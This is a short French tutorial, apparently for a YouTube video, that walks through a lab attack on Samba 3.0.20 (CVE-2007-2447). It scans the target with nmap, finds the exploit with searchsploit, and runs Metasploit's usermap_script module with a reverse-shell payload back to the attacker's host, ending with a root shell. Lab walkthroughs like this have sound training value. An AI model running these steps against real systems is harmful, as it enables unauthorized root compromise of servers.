🎬 Cette vidéo YouTube

1️⃣ Scanner la cible (Nmap)

nmap -sS -sV -p 139,445 192.168.56.102

Résultat attendu : 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Version de Samba : 3.0.20 Ceci est vulnérable à CVE-2007-2447.

2️⃣ Identifier l'exploit Samba

searchsploit samba 3.0.20

Résultat :

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ Lancer Metasploit

msfconsole

4️⃣ Sélectionner l'exploit Samba

use exploit/multi/samba/usermap_script

5️⃣ Paramètres de l'exploit

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

Le payload est automatiquement défini :

cmd/unix/reverse

Vérification :

show options

6️⃣ Lancer l'exploit

run

ou

exploit

7️⃣ Résultat 🎉

En cas de succès :

Command shell session opened

Vérifions :

whoami

👉 Résultat :

root